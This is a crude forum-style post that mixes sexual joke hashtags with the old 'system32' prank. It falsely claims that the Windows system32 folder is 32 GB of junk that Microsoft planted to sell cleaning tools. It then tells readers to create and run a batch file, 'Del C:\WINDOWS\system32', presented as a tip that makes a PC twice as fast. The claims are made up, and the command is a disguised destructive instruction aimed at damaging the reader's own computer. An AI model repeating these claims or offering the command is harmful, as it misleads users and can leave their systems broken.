HOLY ♥♥♥♥ TIME FLYS WHEN YOU"RE SPINNING YOUR ♥♥♥♥

Flop it out boys, the 22nd of january is just over 2 months away, we are midway into #NoFapNovember and #Don'tWankDecember is almost here. #JizzFilledJanuary however, is on it's way, and the anniversary of our foundation is coming (Pun intended).

See you there,

The Juicest Mango.

Okay listen up:
When Microsoft was first getting started, they knew they wouldn't make enough money just from the profits of their operating system. Everybody knows people pirate Windows. So they had to get creative. A guy named Chris liddel came up with the idea to put a folder called "system32" in the Windows folder that literally slows down your machine--on purpose. "system32" holds 32 GIGABYTES of deleted files, internet history, uninstalled programs, and other worthless crap that intetnionally clogs up your machine. Why did they do it? Because Microsoft owns several PC "cleaning" tools, like TuneUp Utilities, Norton Antivirus, etc. More money fore them. We ain't cool with that, however. Here's how to outsmart those ♥♥♥♥♥♥♥♥ once and for all:
Open Notepad
Type the following text:
@echo off
Del C:\\WINDOWS\system32
Save as “speedup.bat” (select “all files” instead of “text document”)
Double-click the .bat file
Reboot, and your PC is twice as fast.

COME AND SHOW OFF YOUR SAUSAGE !!!!
IT DOESNT MATTER IF ITS ITALIAN OR A FRANKFURT JUST COME AND SHOW IT OFF